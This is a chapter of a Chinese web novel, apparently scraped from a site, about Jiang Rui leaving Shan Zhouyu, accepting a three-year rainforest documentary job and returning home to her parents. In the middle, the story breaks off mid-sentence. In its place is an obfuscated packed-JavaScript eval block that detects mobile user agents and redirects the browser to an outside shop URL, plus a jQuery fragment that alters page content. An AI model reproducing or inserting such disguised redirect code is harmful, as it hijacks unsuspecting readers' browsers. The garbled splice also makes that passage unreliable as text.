直到关门的声音响起来单舟渝才缓过来神，视线里还残留着她离开的背影，和她的话一样残忍，脑子被那句话冲击到只剩下一片空白。


    四肢都变僵硬。


    什么叫她做不到。


    这几个字在脑子里晃了大半天都没能理解到底是什么意思。


    手机在沙发上震动，单舟渝下意识拿起来后放在耳边。


    脑子里还在回震蒋芮留下的那句话。


    “跨年晚会你要来彩排了知道吗？”王哥没听见回复又喊了一句。


    他现在只想躺着然后一动不动。


    “稿子呢？看了没？”


    电话那头还在唧唧喳喳。


    什么做不到？


    做不到和他在一起？


    还是做不到把他当成朋友？为什么？


    “彩排你知道时间的吧？”


    答案被蒙上了一层雾，对面传来的声音把雾气又浓了一些。


    单舟渝深吸一口气，不带喘息地说完所有话，“知道，背了，准时到，没事挂了。”


    对面沉默了一小会，语气小心翼翼：“又失恋了？”


    好烦。


    单舟渝从鼻子里出气，应了声。


    “别太难过，至少你事业还挺得意的。”


    这次轮到单舟渝沉默了，觉得又被安慰到了又没被安慰到。


    “谢谢你啊。”


    很明显王哥语气轻快了不少：“要不要多给你接点工作？我们奋起直追说不定明年能直接干到头部！”


    单舟渝直接挂断了电话。


    生活里那一堆事情又不会因为心烦就不来了。


    蒋芮靠在门口等车来，努力不让自己去回想在屋子里的一言一行。


    播客的录制很愉快，单舟渝的问题问的很细很深，有些她甚至自己都没想过，这几个小时蒙住她脑子的雾气消散了不少。


    手机从刚刚录制就在抖。


    家庭群里的人在催她订机票。


    从一个烦人的地方逃到另外一个烦人的地方。


    她的生日在一月初，回去就彻底长大了一岁，闭着眼睛都能想到父母的唠叨。


    真特么想变成乌龟，遇到不想遇见的事情躲壳里就好，谁也别想拽她出来。


    单舟渝的事情算是告一段落了，但她丝毫没有轻松之感。


    更烦了。


    扪心自问了那么多天，蒋芮实在没办法说出自己对单舟渝的感觉仅仅只是朋友。


    也没办法把他只当朋友。


    但至于到底是什么，蒋芮现在不想想了，今天过后大概率也不用再想了。


    先逃离这个地方。


    蒋芮把机票从31号改签到明天。


    刚落地第一天爸妈不会念叨，一月份过节爸妈也不会念叨。


    等到中旬…


    蒋芮划向和贺导前几日的聊天框。


    节目剪辑一完毕贺导的消息就发了过来。


    问她考虑的怎么样。


    这对蒋芮是一个陌生又熟悉的领域，在自己无比熟悉的地方踏足一个陌生的行业，错综复杂的感觉把她围绕住。


    单舟渝那天说的没错，这确实不失为一个好机会。


    她自己的自媒体流量太低，综艺节目聚焦点也不会如她所愿的全部都放在雨林上边。


    贺导是她想要尝试新方式最好的选择。


    她可以参与到节目的拍摄内容讨论，节目剪辑也会听从她的意见。


    但是拍摄时间长达3年。


    也就是整整三年时间都耗在一份爸妈眼里同样不务正业的工作上。


    贺导他们团队想要横跨一整个亚马逊雨林，这是她从来没有尝试过的。


    蒋芮不知道自己要不要答应。


    不要答应的理由有很多：可能没有回报、爸妈会更加生气、自己在节目里也不会有任何话语权等等。


    但答应的理由呢？


    蒋芮在屋子里想了很久，脑子回放的是这接近半个月无所事事重复的每一天，是在雨林里的日子。


    她想要去。


    答应的理由只有这一个。


    她一直在想自己这个决策是对的吗，但好像从来没想过自己是不是想要去。


    现在她想她知道了。


    她在毕业后不顾父母给她找好的工作选择深入雨林的抉择对吗？其实她现在也没法说出个所以然，但她清楚她想要深入雨林。


    一件事情对不对的重量于她来说远远比不上她内心真正渴望去做的重量。


    一月中旬就需要到R市去准备工作，二月份就要出发，期间还有工作签证需要处理。


    所以在家的时间其实也没多长。


    能多陪一天是一天。


    等会还要去医院拆绷带然后收行李。


    父母到现在还不知道她受了伤的事情。


    事情很多很多，多到蒋芮开始希望这些事情可以把今天发生的所有事情都冲掉，不奢求不留一点痕迹，至少现在不要再想到了。


    蒋芮撑着拐杖慢慢走进医院。


    一进去门口就有人给她推开轮椅。


    坐轮椅比杵拐杖还要让她不习惯，护士一推到她就迫不及待站起来，自己挪动进去。


    “能拆了吗医生？差不多都两个月了。”


    医生翻了翻她的病例，点头。


    “拆了以后受力脚注意还是要尽量不要用那只，平时做点舒缓的运动，多吃蛋白质，24小时内不要沾水。”


    蒋芮看着医生熟练地拆骨折绷带。


    看着自己有些陌生的腿，她的腿闷了那么久感觉都白了不少。


    也瘦了点。


    “医生，那大概多久可以正常活动？”


    “差不多两个星期左右吧，你情况不重。”


    蒋芮算了算日子，松了口气，还行赶得上。


    说实话，绑了快两个月的东西一下子拆掉还真的有点不习惯，连走路都下意识要跳。


    但再不习惯也还是会习惯的，蒋芮站着适应了一阵子后缓慢往前走。


    飞机是早晨五点的。


    确实没有给她留太多时间去想今天发生的事情。


    熬鹰一样熬了一整夜，上了飞机立马就睡着了。


    直到开始落地滑行才重新醒过来。


    睡眠时间太少，脑子还跟关机的手机一样。


    行李取到手的时候大脑还没开机，全靠肌肉记忆拉着行李往外走。


    爸妈这个点还在公司上班，大门密码没换，现在打上车还能再睡一会。


    大脑艰难地处理完这三个流程后闭着眼睛拦了辆出租。


    “将军府，直接开进去，谢谢师傅。”


    话说完她就把眼睛闭上，秒进入睡眠。


    “喂，起来了，什么时候回来的？”


    蒋芮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292122|196712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼睛睁开一条缝又立马闭上。


    “妈，能别开那么亮的灯吗？”


    接着盖着眼睛坐起来，缓了一会才放下。


    “早上回来的吧，忘记了太困了。”


    蒋妈把袖子撸起来，身上穿的还是衬衫，把她行李箱推到沙发一边，“吃点什么？我外卖买点菜，今天下厨，你喊你老爸别加班了。”


    “今天别麻烦了，明天过节再忙活。”蒋芮搓了把脸，彻底醒了过来，拦住她妈要进厨房的背影。


    蒋妈从善如流停下来，点了两下手机“那你自己点吧，我不吃晚餐，自己吃完回去睡哈，我明早有个会。”


    又是一笔转账。


    蒋芮想说她还有，但她妈估计看不上她那两个子，又把到嘴的话咽下去。


    “对了，”她妈都走到走廊了，又退出来到客厅探着头，“你定妆照我看了，还不错啊，在节目玩的怎么样？”


    好不容易没想到起来的人，她妈这一句话让她直接破了功。


    “还行吧，挺累的。”


    蒋妈回应几声冷笑，转身回走廊，声音飘回客厅，“能有你在雨林里瞎跑累？”


    …不是说刚回来不会舍得说她吗！


    蒋芮额角跳了两下。


    点开手机。


    她一觉睡到晚上八点。


    怪不得她妈回来了。


    聊天框被打开，上条告诉她要去贺导团队的事情宁婧还没回复。


    大概是又没信号了。


    ‘我回家了，你要去我那呆着就去，水电我照交’


    接着好像没有谁能聊天了。


    她从小到大真算下来只有宁婧一个关系好到可以不分场合的骚扰对方。


    聊天框往下滑。


    第二个就是单舟渝。


    蒋芮晃神了片刻，最后指尖右滑，聊天框和聊天记录都消失了。


    手机也没心情往下看了，摁灭后把行李箱推回自己屋内。


    又返回客厅在桌子上找到几片吐司和压根没人吃的水果，洗洗就当晚餐了。


    至少今天她真的没心情没胃口吃东西。


    睡太久了晚上又不出意料失眠，熬到四点多才有了点困意，再次醒来是被闹钟闹起来的。


    特地定了防止自己睡过头晚上又睡不着的。


    十点半。


    家里静悄悄一片。


    不出意外又是只有她一个人在家。


    回了家就跟没回一样，和在A市没区别。


    “烦——！”


    对着空无一人的客厅喊完后整个人舒爽了不少。


    到底在烦什么她也不知道，可能只是单纯的想要嚎一下而已。


    家里人少还是有好处的，至少不用担心发神经被看见。


    回去抱着电脑到客厅。


    餐桌上是她爸妈留下的外卖，应该是点给她的。


    三明治、牛奶。


    好班味的早餐。


    蒋芮干脆把笔记本放在餐桌上，一条腿踩在椅子上，点开之前构思了一点点文本开始敲敲打打。


    自从大学毕业后再也没有这样过。


    参加节目面试的时候也没试过。


    蒋芮叫停自己越来越歪的想法，把所有心神都投入进去屏幕里。


    直到门口传来输密码的声音才猛地把笔记本合上。


    她还没跟爸妈讲这件事，也不想一回来就吵架。